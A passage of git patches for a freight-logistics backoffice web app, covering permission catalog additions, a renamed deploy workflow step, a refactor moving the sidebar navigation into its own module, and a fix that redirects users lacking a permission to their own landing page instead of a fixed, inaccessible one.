*/ +export const FREIGHT_READ_PERMISSIONS = deriveReadPermissions( + BOOKING_RULE_ENGINE_PERMISSIONS, +); + export const FREIGHT_PERMS = { bookings: { view: "edr_freight_app:bookings:view", @@ -2069,7 +2131,10 @@ export const POSITION_PERMISSION_PRESETS = { /** Derive the module bucket from the resource segment of a permission key. */ const moduleOf = (key: string): string => key.split(":")[1] ?? "other"; -export const PERMISSIONS_CATALOG = BOOKING_RULE_ENGINE_PERMISSIONS.map((p) => ({ +export const PERMISSIONS_CATALOG = [ + ...BOOKING_RULE_ENGINE_PERMISSIONS, + ...FREIGHT_READ_PERMISSIONS, +].map((p) => ({ key: p.key, label: p.name.en, module: moduleOf(p.key), From 267b6ae8edb93879a0ca7e4002c820397c83b171 Mon Sep 17 00:00:00 2001 From: Yonas Tewabe Date: Fri, 7 Aug 2026 15:17:14 +0300 Subject: [PATCH 07/18] Rename sync environment step in deploy workflow --- .github/workflows/deploy.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/deploy.yml b/.github/workflows/deploy.yml index 7bb7d2de9..b1c797dc6 100644 --- a/.github/workflows/deploy.yml +++ b/.github/workflows/deploy.yml @@ -136,7 +136,7 @@ jobs: ;; esac - - name: Sync environment from server + - name: Sync environment from Env manager app run: | chmod +x scripts/deploy/*.sh ./scripts/deploy/sync-env-from-env-manager.sh "${{ matrix.service }}" From 1e9149ce0032550d9de2d7e530bfeda465804879 Mon Sep 17 00:00:00 2001 From: Nathnael Date: Fri, 7 Aug 2026 12:24:30 +0000 Subject: [PATCH 08/18] feat: better navigation in backoffice --- apps/edr-freight-web/backoffice/src/App.tsx | 678 +----------------- .../src/components/auth/RequirePermission.tsx | 24 +- .../components/layout/sidebar-sections.tsx | 660 +++++++++++++++++ .../backoffice/src/lib/landing.test.ts | 57 ++ .../backoffice/src/lib/landing.ts | 51 ++ .../backoffice/src/pages/NoAccessPage.tsx | 32 + .../backoffice/src/pages/auth/LoginPage.tsx | 4 +- .../src/pages/ruleEngine/CargoTypesPage.tsx | 5 +- .../ruleEngine/RuleEngineResourcePage.tsx | 3 +- .../backoffice/src/routes/RootRedirect.tsx | 12 +- .../src/user-management/Applayout.tsx | 4 +- .../backoffice/src/user-management/route.tsx | 7 +- 12 files changed, 861 insertions(+), 676 deletions(-) create mode 100644 apps/edr-freight-web/backoffice/src/components/layout/sidebar-sections.tsx create mode 100644 apps/edr-freight-web/backoffice/src/lib/landing.test.ts create mode 100644 apps/edr-freight-web/backoffice/src/lib/landing.ts create mode 100644 apps/edr-freight-web/backoffice/src/pages/NoAccessPage.tsx diff --git a/apps/edr-freight-web/backoffice/src/App.tsx b/apps/edr-freight-web/backoffice/src/App.tsx index 6fd666a8d..bad3cbfe5 100644 --- a/apps/edr-freight-web/backoffice/src/App.tsx +++ b/apps/edr-freight-web/backoffice/src/App.tsx @@ -1,36 +1,3 @@ -import { - ArrowLeftRight, - Boxes, - Building2, - BarChart3, - Container, - FileSignature, - FileText, - Hammer, - History, - LayoutDashboard, - LayoutGrid, - MapPin, - Network, - Package, - PackageCheck, - PackageOpen, - Paperclip, - Receipt, - ScrollText, - Send, - Settings, - ShieldCheck, - Ship, - SlidersHorizontal, - Train, - Truck, - Users, - Wallet, - LifeBuoy, - TrainFront, - XCircle, -} from "lucide-react"; import { useEffect } from "react"; import { Navigate, @@ -42,11 +9,7 @@ import { useParams, } from "react-router-dom"; -import { - FreightDashboardLayout, - type SidebarItem, - type SidebarSection, -} from "@/components/layout"; +import { FreightDashboardLayout, type SidebarItem } from "@/components/layout"; import { useAuth } from "./auth/useAuth"; import LoadingScreen from "./components/LoadingScreen"; import LoginPage from "./pages/auth/LoginPage"; @@ -84,11 +47,12 @@ import AuditLogsPage from "./pages/audit/AuditLogsPage"; import { RequirePermission } from "./components/auth/RequirePermission"; import { FREIGHT_PERMS, - hasPermission as hasFreightPermission, isDjiboutiGl, isEthiopianGl, isSuperAdmin, } from "./lib/permissions"; +import { NO_ACCESS_PATH, resolveLandingPath } from "./lib/landing"; +import NoAccessPage from "./pages/NoAccessPage"; import FileUploadSettingsPage from "./pages/documents/FileUploadSettingsPage"; import DropdownSettingsPage from "./pages/dropdown_settings/DropdownSettingsPage"; import ContractTemplatesPage from "./pages/contract_templates/ContractTemplatesPage"; @@ -108,7 +72,6 @@ import CompliancePage from "./pages/fleet/CompliancePage"; import IncidentsPage from "./pages/fleet/IncidentsPage"; import WorkOrdersPage from "./pages/fleet/WorkOrdersPage"; import ProcurementPage from "./pages/fleet/ProcurementPage"; -import { getCategorySidebarChildren } from "./pages/ruleEngine/config/resources"; import RuleEngineLegacyRedirect from "./pages/ruleEngine/RuleEngineLegacyRedirect"; import RuleEngineResourcePage from "./pages/ruleEngine/RuleEngineResourcePage"; import CargoTypesPage from "./pages/ruleEngine/CargoTypesPage"; @@ -151,615 +114,15 @@ import FaydaCallbackPage from "./pages/FaydaCallbackPage"; import { UserManagementRoutes } from "./user-management/route"; import SetPassword from "./shared/components/SetPassword"; import SupportInboxPage from "./pages/support/SupportInboxPage"; - -const buildSidebarSections = (demoItems: SidebarItem[]): SidebarSection[] => [ - { - title: "Main menu", - items: [ - { - label: "Overview", - href: "/dashboard/overview", - icon: , - permission: FREIGHT_PERMS.overview.view, - }, - { - label: "Reports", - href: "/dashboard/reports", - icon: , - permission: FREIGHT_PERMS.reports.view, - }, - { - label: "Customers", - href: "/dashboard/customers", - icon: , - permission: FREIGHT_PERMS.customers.view, - }, - { - label: "Contracts", - href: "/dashboard/contract-requests", - icon: , - permission: FREIGHT_PERMS.contracts.view, - }, - { - label: "Bookings", - href: "/dashboard/booking-requests", - icon: , - permission: FREIGHT_PERMS.bookings.view, - }, - { - label: "Wagon cancellations", - href: "/dashboard/wagon-cancellations", - icon: , - permission: FREIGHT_PERMS.bookings.wagonCancellationView, - }, - // Operations hub: per-shipment clearance-document review for services - // WITHOUT customs clearing (self-clearance) — bookings only. - { - label: "Clearance Documents", - href: "/dashboard/contracts/clearance-documents", - icon: , - permission: FREIGHT_PERMS.contracts.opsClearanceReview, - }, - { - label: "Payments", - href: "/dashboard/payments", - icon: , - permission: FREIGHT_PERMS.payments.view, - }, - { - label: "Invoices", - href: "/dashboard/invoices", - icon: , - permission: FREIGHT_PERMS.invoices.view, - }, - { - label: "Support", - href: "/dashboard/support", - icon: , - permission: FREIGHT_PERMS.support.agentView, - }, - ...demoItems, - ], - }, - { - // title: "Port & Terminal", - items: [ - { - label: "Operations", - icon: , - children: [ - { - label: "Clearance", - href: "/dashboard/contracts/clearance", - icon: , - permission: [ - FREIGHT_PERMS.contracts.clearanceReview, - FREIGHT_PERMS.contracts.clearanceEtActions, - ], - }, - // { - // label: "Shipment Requests", - // href: "/dashboard/shipment-requests", - // icon: , - // permission: FREIGHT_PERMS.contracts.createBooking, - // }, - // Operations Path A queue: per-booking self-clearance review for - // GENERAL non-customs booking instances (and legacy self-clear bookings). - // { - // label: "Self-Clearance Review", - // href: "/dashboard/contracts/ops-clearance", - // icon: , - // permission: FREIGHT_PERMS.contracts.opsClearanceReview, - // }, - { - label: "GL Djibouti Clearance", - href: "/dashboard/gl-djibouti/clearance", - icon: , - permission: FREIGHT_PERMS.contracts.clearanceDjActions, - }, - { - label: "Train Schedules", - href: "/dashboard/operations/train-scheduling-v2", - icon: , - permission: FREIGHT_PERMS.trainScheduling.view, - }, - { - label: "Batch Board", - href: "/dashboard/operations/batch-board", - icon: , - permission: FREIGHT_PERMS.trainScheduling.view, - }, - { - label: "First Mile", - href: "/dashboard/operations/first-mile", - icon: , - permission: FREIGHT_PERMS.firstMile.view, - }, - { - label: "Last Mile", - href: "/dashboard/operations/last-mile", - icon: , - permission: FREIGHT_PERMS.lastMile.view, - }, - ], - }, - { - label: "Fleet Management", - icon: , - children: [ - { - label: "Fleet Dashboard", - href: "/dashboard/fleet-dashboard", - icon: , - permission: FREIGHT_PERMS.fleetDashboard.view, - }, - { - label: "Routes", - href: "/dashboard/routes", - icon: , - permission: [FREIGHT_PERMS.routes.view, FREIGHT_PERMS.fleet.view], - }, - { - label: "Locomotives", - href: "/dashboard/locomotives", - icon: , - permission: [ - FREIGHT_PERMS.locomotives.view, - FREIGHT_PERMS.fleet.view, - ], - }, - { - label: "Train Builder", - href: "/dashboard/train-builder", - icon: , - permission: [FREIGHT_PERMS.trains.view, FREIGHT_PERMS.fleet.view], - }, - - // { - // label: "Wagon types", - // href: "/dashboard/wagon-types", - // icon: , - // }, - { - label: "Wagons", - href: "/dashboard/wagons", - icon: , - permission: [FREIGHT_PERMS.wagons.view, FREIGHT_PERMS.fleet.view], - }, - { - label: "Wagon Transfers", - href: "/dashboard/wagon-transfers", - icon: , - permission: [ - FREIGHT_PERMS.wagons.transferView, - FREIGHT_PERMS.wagons.view, - ], - }, - { - label: "Vehicles", - href: "/dashboard/vehicles", - icon: , - permission: FREIGHT_PERMS.vehicles.view, - }, - { - label: "Drivers", - href: "/dashboard/drivers", - icon: , - permission: FREIGHT_PERMS.drivers.view, - }, - { - label: "Track Vehicles", - href: "/dashboard/tracking", - icon: , - permission: FREIGHT_PERMS.tracking.view, - }, - { - label: "Fuel Purchases", - href: "/dashboard/fuel-purchases", - icon: , - permission: FREIGHT_PERMS.fuel.view, - }, - { - label: "Fuel Analytics", - href: "/dashboard/fuel-stats", - icon: , - permission: FREIGHT_PERMS.fuel.view, - }, - { - label: "Maintenance", - href: "/dashboard/maintenance", - icon: , - permission: FREIGHT_PERMS.maintenance.view, - }, - { - label: "Work Orders", - href: "/dashboard/work-orders", - icon: , - permission: FREIGHT_PERMS.maintenance.view, - }, - { - label: "Compliance & Alerts", - href: "/dashboard/compliance", - icon: , - permission: FREIGHT_PERMS.fleet.view, - }, - { - label: "Incidents", - href: "/dashboard/incidents", - icon: , - permission: FREIGHT_PERMS.fleet.view, - }, - { - label: "Procurement", - href: "/dashboard/procurement", - icon: , - permission: FREIGHT_PERMS.fleet.view, - }, - { - label: "Financial Reports", - href: "/dashboard/financial-reports", - icon: , - permission: FREIGHT_PERMS.fleetReports.view, - }, - // { - // label: "Containers", - // href: "/dashboard/containers", - // icon: , - // }, - // { - // label: "Cargoes", - // href: "/dashboard/cargoes", - // icon: , - // }, - ], - }, - { - label: "Imports", - href: "/dashboard/import-warehouse", - icon: , - permission: FREIGHT_PERMS.warehouseInventory.view, - children: [ - { - label: "Import Overview", - href: "/dashboard/import-warehouse", - icon: , - permission: FREIGHT_PERMS.warehouseInventory.view, - }, - { - label: "Arrival Queue", - href: "/dashboard/arrival-queue", - icon: , - permission: FREIGHT_PERMS.warehouseInventory.view, - }, - { - label: "Import Trucks", - href: "/dashboard/import-trucks", - icon: , - permission: FREIGHT_PERMS.warehouseInventory.view, - }, - { - label: "EDR Last Mile Returns", - href: "/dashboard/edr-last-mile-returns", - icon: , - permission: FREIGHT_PERMS.warehouseInventory.view, - }, - { - label: "Container Returns", - href: "/dashboard/container-returns", - icon: , - permission: FREIGHT_PERMS.warehouseInventory.view, - }, - { - label: "Terminal Inventory", - href: "/dashboard/warehouse-inventory?direction=IMPORT", - icon: , - permission: FREIGHT_PERMS.warehouseInventory.view, - }, - { - label: "Inventory Inquiry", - href: "/dashboard/inventory-inquiry", - icon: , - permission: FREIGHT_PERMS.warehouseInventory.view, - }, - ], - }, - { - label: "Exports", - href: "/dashboard/export-warehouse", - icon: , - permission: FREIGHT_PERMS.warehouseInventory.view, - children: [ - { - label: "Export Overview", - href: "/dashboard/export-warehouse", - icon: , - permission: FREIGHT_PERMS.warehouseInventory.view, - }, - { - label: "Loading Queue", - href: "/dashboard/loading-queue", - icon: , - permission: FREIGHT_PERMS.warehouseInventory.view, - }, - { - label: "Loaded Inventory", - href: "/dashboard/loaded-inventory", - icon: , - permission: FREIGHT_PERMS.warehouseInventory.view, - }, - { - label: "Dispatch Queue", - href: "/dashboard/dispatch-queue", - icon: , - permission: FREIGHT_PERMS.warehouseInventory.view, - }, - { - label: "Djibouti Unloading", - href: "/dashboard/export-djibouti-unloading", - icon: , - permission: FREIGHT_PERMS.warehouseInventory.view, - }, - { - label: "Interchange Documents", - href: "/dashboard/interchange-documents", - icon: , - permission: FREIGHT_PERMS.interchangeDocuments.view, - }, - { - label: "Terminal Inventory", - href: "/dashboard/warehouse-inventory?direction=EXPORT", - icon: , - permission: FREIGHT_PERMS.warehouseInventory.view, - }, - ], - }, - { - label: "Intercity", - href: "/dashboard/intercity", - icon: , - permission: FREIGHT_PERMS.trainScheduling.view, - children: [ - { - label: "Intercity Cargo", - href: "/dashboard/intercity", - icon: , - permission: FREIGHT_PERMS.warehouseInventory.view, - }, - ], - }, - { - label: "Warehouse Management", - icon: , - children: [ - { - label: "Warehouse Dashboard", - href: "/dashboard/warehouse-dashboard", - icon: , - permission: FREIGHT_PERMS.warehouseDashboard.view, - }, - { - // Yard-wide, not per-direction: the gate sees import and export - // trucks at the same barrier. - label: "Trucks on Site", - href: "/dashboard/trucks-on-site", - icon: , - permission: FREIGHT_PERMS.warehouseInventory.view, - }, - { - label: "Warehouses", - href: "/dashboard/warehouses", - icon: , - permission: FREIGHT_PERMS.warehouses.view, - }, - { - label: "Allocation & Fees", - href: "/dashboard/warehouse-rules", - icon: , - permission: [ - FREIGHT_PERMS.warehouseAllocationRules.view, - FREIGHT_PERMS.warehouseFeeRules.view, - ], - }, - { - label: "Fee Invoices", - href: "/dashboard/warehouse-fee-invoices", - icon: , - permission: FREIGHT_PERMS.warehouseFeeInvoices.view, - }, - ], - }, - ], - }, - { - title: "Freight configuration", - mutedTitle: true, - items: [ - { - label: "File settings", - href: "/dashboard/file-settings", - icon: , - permission: FREIGHT_PERMS.admin, - }, - { - label: "Dropdown settings", - href: "/dashboard/dropdown-settings", - icon: , - permission: FREIGHT_PERMS.admin, - }, - { - label: "Contract templates", - href: "/dashboard/contract-templates", - icon: , - permission: FREIGHT_PERMS.admin, - }, - { - label: "Audit logs", - href: "/dashboard/audit-logs", - icon: , - permission: FREIGHT_PERMS.audit.view, - }, - { - label: "Configuration", - href: "/dashboard/configuration", - icon: , - children: [ - ...getCategorySidebarChildren("configuration"), - { - label: "Train scheduling rules", - href: "/dashboard/configuration/train-scheduling-rules", - permission: FREIGHT_PERMS.trainScheduling.rulesManage, - }, - { - label: "Trade access", - href: "/dashboard/configuration/trade-access", - permission: FREIGHT_PERMS.admin, - }, - { - label: "Exchange rate", - href: "/dashboard/configuration/exchange-rate", - permission: FREIGHT_PERMS.admin, - }, - ], - }, - { - label: "Rules", - href: "/dashboard/rules", - icon: , - children: getCategorySidebarChildren("rules"), - }, - - { - label: "Staff", - href: "/user-management", - icon: , - permission: [ - FREIGHT_PERMS.admin, - FREIGHT_PERMS.staff.roles.view, - FREIGHT_PERMS.staff.employeeRegistration.view, - FREIGHT_PERMS.staff.roleAssignment.view, - ], - }, - ], - }, -]; - -/** Hrefs of the two document-clearance menu items (stable identifiers). */ -const ET_CLEARANCE_HREF = "/dashboard/contracts/clearance"; -const DJ_CLEARANCE_HREF = "/dashboard/gl-djibouti/clearance"; - -// Routes a GL officer may reach beyond their clearance hub. Path B booking is -// part of their job (create/rebook under a cleared contract, then view that -// booking's clearance), but those routes live outside the clearance prefix — -// without this allowlist the single-prefix lock bounces them out of their own -// workflow. Matched against location.pathname (no query string). -const GL_WORKFLOW_PATH_PATTERNS: RegExp[] = [ - /^\/dashboard\/contracts\/[^/]+\/create-booking(\/|$)/, - /^\/dashboard\/bookings\/[^/]+\/clearance(\/|$)/, - // The ET hub's rows open the shipment clearance detail at this URL. - /^\/dashboard\/clearance\/[^/]+(\/|$)/, -]; - -const isEtClearanceItem = (item: SidebarItem): boolean => - item.href === ET_CLEARANCE_HREF; -const isDjClearanceItem = (item: SidebarItem): boolean => - item.href === DJ_CLEARANCE_HREF; -const isClearanceItem = (item: SidebarItem): boolean => - isEtClearanceItem(item) || isDjClearanceItem(item); - -/** - * Keep only items the user is permitted to see; drop now-empty sections. - * - * Position-scoped visibility (super_admin sees everything): - * - Super Admin → sees all items (all permissions pass, all tabs visible) - * - Ethiopian GL → sees ONLY the ET document-clearance page. - * - Djibouti GL → sees ONLY the DJ clearance page. - * - Everyone else → sees everything they have permission for, EXCEPT the two - * clearance pages (those are GL-only). - */ -const filterSidebarByPermission = ( - sections: SidebarSection[], - user: ReturnType["user"], -): SidebarSection[] => { - // Superadmin sees every section and item — no permission filtering. - if (isSuperAdmin(user)) return sections; - - const etGl = isEthiopianGl(user); - const djGl = isDjiboutiGl(user); - - const permissionAllowed = (item: SidebarItem): boolean => { - if (!item.permission) return true; - const keys = Array.isArray(item.permission) - ? item.permission - : [item.permission]; - return keys.some((key) => hasFreightPermission(user, key)); - }; - - // Recursive: children are filtered first; a group (item with children) stays - // only while it still has visible children — so parents without their own - // permission key never leak a whole subtree the user cannot open. - const filterItems = (items: SidebarItem[]): SidebarItem[] => - items - .map((item) => - item.children - ? { ...item, children: filterItems(item.children) } - : item, - ) - .filter((item) => { - if (etGl || djGl) { - // GL positions are locked to their single clearance page (parents - // survive only as the path to that page). - const isTarget = etGl ? isEtClearanceItem : isDjClearanceItem; - return isTarget(item) || (item.children?.length ?? 0) > 0; - } - // Everyone else: hide the GL-only clearance pages entirely. - if (isClearanceItem(item)) return false; - if (!permissionAllowed(item)) return false; - if (item.children) return item.children.length > 0; - return true; - }); - - return sections - .map((section) => ({ - ...section, - items: filterItems(section.items), - })) - .filter((section) => section.items.length > 0); -}; - -const APP_TITLE = "EDR Freight Backoffice"; - -/** Flatten sidebar sections (incl. nested children) into {href, label} pairs. */ -const flattenSidebarItems = ( - sections: SidebarSection[], -): { href: string; label: string }[] => - sections.flatMap((section) => - section.items.flatMap((item) => [ - ...(item.href ? [{ href: item.href, label: item.label }] : []), - ...(item.children ?? []) - .filter((child): child is SidebarItem & { href: string } => - Boolean(child.href), - ) - .map((child) => ({ href: child.href, label: child.label })), - ]), - ); - -/** Find the sidebar label whose href matches (exactly or as a prefix of) the current path. */ -const findActiveSidebarLabel = ( - pathname: string, - sections: SidebarSection[], -): string | undefined => { - const path = pathname.toLowerCase(); - const candidates = flattenSidebarItems(sections) - .map(({ href, label }) => ({ - label, - href: href.split("?")[0].toLowerCase(), - })) - .sort((a, b) => b.href.length - a.href.length); - - return candidates.find( - ({ href }) => path === href || path.startsWith(`${href}/`), - )?.label; -}; +import { + APP_TITLE, + buildSidebarSections, + DJ_CLEARANCE_HREF, + ET_CLEARANCE_HREF, + filterSidebarByPermission, + findActiveSidebarLabel, + GL_WORKFLOW_PATH_PATTERNS, +} from "@/components/layout/sidebar-sections"; const DashboardShell = () => { const navigate = useNavigate(); @@ -840,17 +203,19 @@ const App = () => { ); } + const landingPath = resolveLandingPath(user); + return ( {UserManagementRoutes()} {/* } /> */} } /> } /> - } /> - } - /> + } /> + {/* Landing is per-user: /dashboard/overview is gated on overview:view, so + a fixed target strands anyone without that key on a blank page. */} + } /> + } /> }> } /> } /> @@ -1554,7 +919,9 @@ const App = () => { } /> - } /> + {/* Post-login landing: the browser is still on /auth, which matches + nothing here, so this is what actually decides where users start. */} + } /> ); }; @@ -1575,3 +942,4 @@ function LegacyGlEthiopiaClearanceRedirect() { } export default App; + diff --git a/apps/edr-freight-web/backoffice/src/components/auth/RequirePermission.tsx b/apps/edr-freight-web/backoffice/src/components/auth/RequirePermission.tsx index 4e35fc712..c67a4da69 100644 --- a/apps/edr-freight-web/backoffice/src/components/auth/RequirePermission.tsx +++ b/apps/edr-freight-web/backoffice/src/components/auth/RequirePermission.tsx @@ -1,30 +1,42 @@ import type { ReactNode } from "react"; -import { Navigate } from "react-router-dom"; +import { Navigate, useLocation } from "react-router-dom"; import { useAuth } from "@/auth/useAuth"; +import { resolveLandingPath } from "@/lib/landing"; import { hasPermission } from "@/lib/permissions"; +import NoAccessPage from "@/pages/NoAccessPage"; interface RequirePermissionProps { /** Permission key(s); access is granted if the user has ANY of them. */ permission: string | string[]; - /** Where to send users who lack the permission. */ + /** Where to send users who lack the permission. Defaults to their landing page. */ redirectTo?: string; children: ReactNode; } /** * Page-level guard: renders children only when the current user holds one of - * the given permissions, otherwise redirects (default: overview). + * the given permissions, otherwise redirects to a page they can actually reach. + * + * The fallback must not be a fixed path. It used to be `/dashboard/overview`, + * which is itself gated on `overview:view` — a user without that key was sent + * to the page that had just rejected them, and React Router rendered a blank + * frame instead of navigating. */ export function RequirePermission({ permission, - redirectTo = "/dashboard/overview", + redirectTo, children, }: RequirePermissionProps) { const { user } = useAuth(); + const location = useLocation(); const keys = Array.isArray(permission) ? permission : [permission]; const allowed = keys.some((key) => hasPermission(user, key)); - if (!allowed) return ; - return <>{children}; + if (allowed) return <>{children}; + + const target = redirectTo ?? resolveLandingPath(user); + // Belt and braces: never navigate to the page we are already on. + if (target === location.pathname) return ; + return ; } diff --git a/apps/edr-freight-web/backoffice/src/components/layout/sidebar-sections.tsx b/apps/edr-freight-web/backoffice/src/components/layout/sidebar-sections.tsx new file mode 100644 index 000000000..914a9cceb --- /dev/null +++ b/apps/edr-freight-web/backoffice/src/components/layout/sidebar-sections.tsx @@ -0,0 +1,660 @@ +import { + ArrowLeftRight, + Boxes, + Building2, + BarChart3, + Container, + FileSignature, + FileText, + Hammer, + History, + LayoutDashboard, + LayoutGrid, + MapPin, + Network, + Package, + PackageCheck, + PackageOpen, + Paperclip, + Receipt, + ScrollText, + Send, + Settings, + ShieldCheck, + Ship, + SlidersHorizontal, + Train, + Truck, + Users, + Wallet, + LifeBuoy, + TrainFront, + XCircle, +} from "lucide-react"; + +import type { AuthUser } from "@/auth/types"; + +import type { SidebarItem, SidebarSection } from "./types"; +import { + FREIGHT_PERMS, + hasPermission as hasFreightPermission, + isDjiboutiGl, + isEthiopianGl, + isSuperAdmin, +} from "@/lib/permissions"; +import { getCategorySidebarChildren } from "@/pages/ruleEngine/config/resources"; + +/** + * Backoffice sidebar model: the nav tree, its permission filter, and the + * flatten/lookup helpers. Lives outside App.tsx so `lib/landing.ts` can resolve + * a user's first reachable route without importing the route tree (App.tsx + * imports RequirePermission, which imports landing — that would cycle). + */ +export const buildSidebarSections = (demoItems: SidebarItem[]): SidebarSection[] => [ + { + title: "Main menu", + items: [ + { + label: "Overview", + href: "/dashboard/overview", + icon: , + permission: FREIGHT_PERMS.overview.view, + }, + { + label: "Reports", + href: "/dashboard/reports", + icon: , + permission: FREIGHT_PERMS.reports.view, + }, + { + label: "Customers", + href: "/dashboard/customers", + icon: , + permission: FREIGHT_PERMS.customers.view, + }, + { + label: "Contracts", + href: "/dashboard/contract-requests", + icon: , + permission: FREIGHT_PERMS.contracts.view, + }, + { + label: "Bookings", + href: "/dashboard/booking-requests", + icon: , + permission: FREIGHT_PERMS.bookings.view, + }, + { + label: "Wagon cancellations", + href: "/dashboard/wagon-cancellations", + icon: , + permission: FREIGHT_PERMS.bookings.wagonCancellationView, + }, + // Operations hub: per-shipment clearance-document review for services + // WITHOUT customs clearing (self-clearance) — bookings only. + { + label: "Clearance Documents", + href: "/dashboard/contracts/clearance-documents", + icon: , + permission: FREIGHT_PERMS.contracts.opsClearanceReview, + }, + { + label: "Payments", + href: "/dashboard/payments", + icon: , + permission: FREIGHT_PERMS.payments.view, + }, + { + label: "Invoices", + href: "/dashboard/invoices", + icon: , + permission: FREIGHT_PERMS.invoices.view, + }, + { + label: "Support", + href: "/dashboard/support", + icon: , + permission: FREIGHT_PERMS.support.agentView, + }, + ...demoItems, + ], + }, + { + // title: "Port & Terminal", + items: [ + { + label: "Operations", + icon: , + children: [ + { + label: "Clearance", + href: "/dashboard/contracts/clearance", + icon: , + permission: [ + FREIGHT_PERMS.contracts.clearanceReview, + FREIGHT_PERMS.contracts.clearanceEtActions, + ], + }, + // { + // label: "Shipment Requests", + // href: "/dashboard/shipment-requests", + // icon: , + // permission: FREIGHT_PERMS.contracts.createBooking, + // }, + // Operations Path A queue: per-booking self-clearance review for + // GENERAL non-customs booking instances (and legacy self-clear bookings). + // { + // label: "Self-Clearance Review", + // href: "/dashboard/contracts/ops-clearance", + // icon: , + // permission: FREIGHT_PERMS.contracts.opsClearanceReview, + // }, + { + label: "GL Djibouti Clearance", + href: "/dashboard/gl-djibouti/clearance", + icon: , + permission: FREIGHT_PERMS.contracts.clearanceDjActions, + }, + { + label: "Train Schedules", + href: "/dashboard/operations/train-scheduling-v2", + icon: , + permission: FREIGHT_PERMS.trainScheduling.view, + }, + { + label: "Batch Board", + href: "/dashboard/operations/batch-board", + icon: , + permission: FREIGHT_PERMS.trainScheduling.view, + }, + { + label: "First Mile", + href: "/dashboard/operations/first-mile", + icon: , + permission: FREIGHT_PERMS.firstMile.view, + }, + { + label: "Last Mile", + href: "/dashboard/operations/last-mile", + icon: , + permission: FREIGHT_PERMS.lastMile.view, + }, + ], + }, + { + label: "Fleet Management", + icon: , + children: [ + { + label: "Fleet Dashboard", + href: "/dashboard/fleet-dashboard", + icon: , + permission: FREIGHT_PERMS.fleetDashboard.view, + }, + { + label: "Routes", + href: "/dashboard/routes", + icon: , + permission: [FREIGHT_PERMS.routes.view, FREIGHT_PERMS.fleet.view], + }, + { + label: "Locomotives", + href: "/dashboard/locomotives", + icon: , + permission: [ + FREIGHT_PERMS.locomotives.view, + FREIGHT_PERMS.fleet.view, + ], + }, + { + label: "Train Builder", + href: "/dashboard/train-builder", + icon: , + permission: [FREIGHT_PERMS.trains.view, FREIGHT_PERMS.fleet.view], + }, + + // { + // label: "Wagon types", + // href: "/dashboard/wagon-types", + // icon: , + // }, + { + label: "Wagons", + href: "/dashboard/wagons", + icon: , + permission: [FREIGHT_PERMS.wagons.view, FREIGHT_PERMS.fleet.view], + }, + { + label: "Wagon Transfers", + href: "/dashboard/wagon-transfers", + icon: , + permission: [ + FREIGHT_PERMS.wagons.transferView, + FREIGHT_PERMS.wagons.view, + ], + }, + { + label: "Vehicles", + href: "/dashboard/vehicles", + icon: , + permission: FREIGHT_PERMS.vehicles.view, + }, + { + label: "Drivers", + href: "/dashboard/drivers", + icon: , + permission: FREIGHT_PERMS.drivers.view, + }, + { + label: "Track Vehicles", + href: "/dashboard/tracking", + icon: , + permission: FREIGHT_PERMS.tracking.view, + }, + { + label: "Fuel Purchases", + href: "/dashboard/fuel-purchases", + icon: , + permission: FREIGHT_PERMS.fuel.view, + }, + { + label: "Fuel Analytics", + href: "/dashboard/fuel-stats", + icon: , + permission: FREIGHT_PERMS.fuel.view, + }, + { + label: "Maintenance", + href: "/dashboard/maintenance", + icon: , + permission: FREIGHT_PERMS.maintenance.view, + }, + { + label: "Work Orders", + href: "/dashboard/work-orders", + icon: , + permission: FREIGHT_PERMS.maintenance.view, + }, + { + label: "Compliance & Alerts", + href: "/dashboard/compliance", + icon: , + permission: FREIGHT_PERMS.fleet.view, + }, + { + label: "Incidents", + href: "/dashboard/incidents", + icon: , + permission: FREIGHT_PERMS.fleet.view, + }, + { + label: "Procurement", + href: "/dashboard/procurement", + icon: , + permission: FREIGHT_PERMS.fleet.view, + }, + { + label: "Financial Reports", + href: "/dashboard/financial-reports", + icon: , + permission: FREIGHT_PERMS.fleetReports.view, + }, + // { + // label: "Containers", + // href: "/dashboard/containers", + // icon: , + // }, + // { + // label: "Cargoes", + // href: "/dashboard/cargoes", + // icon: , + // }, + ], + }, + { + label: "Imports", + href: "/dashboard/import-warehouse", + icon: , + permission: FREIGHT_PERMS.warehouseInventory.view, + children: [ + { + label: "Import Overview", + href: "/dashboard/import-warehouse", + icon: , + permission: FREIGHT_PERMS.warehouseInventory.view, + }, + { + label: "Arrival Queue", + href: "/dashboard/arrival-queue", + icon: , + permission: FREIGHT_PERMS.warehouseInventory.view, + }, + { + label: "Import Trucks", + href: "/dashboard/import-trucks", + icon: , + permission: FREIGHT_PERMS.warehouseInventory.view, + }, + { + label: "EDR Last Mile Returns", + href: "/dashboard/edr-last-mile-returns", + icon: , + permission: FREIGHT_PERMS.warehouseInventory.view, + }, + { + label: "Container Returns", + href: "/dashboard/container-returns", + icon: , + permission: FREIGHT_PERMS.warehouseInventory.view, + }, + { + label: "Terminal Inventory", + href: "/dashboard/warehouse-inventory?direction=IMPORT", + icon: , + permission: FREIGHT_PERMS.warehouseInventory.view, + }, + { + label: "Inventory Inquiry", + href: "/dashboard/inventory-inquiry", + icon: , + permission: FREIGHT_PERMS.warehouseInventory.view, + }, + ], + }, + { + label: "Exports", + href: "/dashboard/export-warehouse", + icon: , + permission: FREIGHT_PERMS.warehouseInventory.view, + children: [ + { + label: "Export Overview", + href: "/dashboard/export-warehouse", + icon: , + permission: FREIGHT_PERMS.warehouseInventory.view, + }, + { + label: "Loading Queue", + href: "/dashboard/loading-queue", + icon: , + permission: FREIGHT_PERMS.warehouseInventory.view, + }, + { + label: "Loaded Inventory", + href: "/dashboard/loaded-inventory", + icon: , + permission: FREIGHT_PERMS.warehouseInventory.view, + }, + { + label: "Dispatch Queue", + href: "/dashboard/dispatch-queue", + icon: , + permission: FREIGHT_PERMS.warehouseInventory.view, + }, + { + label: "Djibouti Unloading", + href: "/dashboard/export-djibouti-unloading", + icon: , + permission: FREIGHT_PERMS.warehouseInventory.view, + }, + { + label: "Interchange Documents", + href: "/dashboard/interchange-documents", + icon: , + permission: FREIGHT_PERMS.interchangeDocuments.view, + }, + { + label: "Terminal Inventory", + href: "/dashboard/warehouse-inventory?direction=EXPORT", + icon: , + permission: FREIGHT_PERMS.warehouseInventory.view, + }, + ], + }, + { + label: "Intercity", + href: "/dashboard/intercity", + icon: , + permission: FREIGHT_PERMS.trainScheduling.view, + children: [ + { + label: "Intercity Cargo", + href: "/dashboard/intercity", + icon: , + permission: FREIGHT_PERMS.warehouseInventory.view, + }, + ], + }, + { + label: "Warehouse Management", + icon: , + children: [ 